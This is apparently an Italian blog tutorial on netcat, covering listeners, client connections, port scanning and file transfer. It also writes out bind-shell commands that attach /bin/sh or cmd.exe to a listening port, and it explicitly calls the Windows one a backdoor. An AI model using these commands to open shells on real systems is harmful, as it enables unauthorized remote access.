Netcat è una delle utility più conosciute in ambio di networking, senza dubbio il suo punto di forza consiste nella versatilità, diciamo che in linea di principio è un software che consente di scrivere o leggere dati attraverso connessioni tcp/ip e può essere considerato un utile strumento di debbuging e controllo. Sicuramente questo tool non consente alcune "finezze" proprie di software specializzati per svolgere un determinato compito ma conviene conoscere , almeno a grandi linee, i sui possibili utilizzi poichè in alcune occasioni potrebbe essere utille.In molte distribuzioni linux netcat è installato di default, per windows è possibile scaricarlo a questo indirizzo http://www.downloadnetcat.com/. Come primo esempio vediamo come è possibile creare un semplice server che rimane in ascolto su una determinata porta il comando da utilizzare è:
nc -l -p <porta>
-p è la porta utilizzata per la connessione. Bisogna fare molta attenzione ad utilizzare netcat in questo modo, visto che non è richiesta nessuna autorizzazione per il collegamento. Per connettersi al server in ascolto basta eseguire sul client:
nc <host> <porta>
Per attivare un terminale remoto senza utilizzare telnet è possibile usare netcat con questa sintassi:
nc -l -p 4000 -e /bin/sh
Mentre come client è possibile utilizzare lo stesso netcat con questa sintassi:
nc <host> 4000
Netcat consente anche di verificare le porte aperte di un host, anche se questo tipo di scansione è rilevabile, il comando è il seguente:
nc -v -z <host> <porte>
Per quanto riguarda il parametro <porte> può essere un semplice elenco (es. 20 80 testa le porte indicate) o anche un intervallo (es 20-23 testa le porte dalla 20 alla 23).A volte può essere utile utilizzare netcat per trasferire file, niente di più semplice sul lato server basta eseguire:
cat file.txt| nc -l -p 4000
Dal lato client per avviare connessione e download, eseguire:
nc <host> 4000 > file.txt
I Possibili utilizzi di netcat non sono affatto finiti, vediamo come è possibile creare una backdoor in windows, eseguire:
nc -l -p <porta> -vv -e cmd.exe
Il comando cmd.exe , eseguito quando il server accetta la connessione del client, restituisce una shell di windows, per connettersi dal client eseguire:
nc <host> <porta> -w
Questa breve panoramica sui possibili utilizzi di netcat spiega i motivi per cui il tool è chiamato "il coltellino svizzero delle reti", se vi occupate di reti vedrete che le occasioni di utilizzarlo non mancheranno.
Nessun commento:
Posta un commento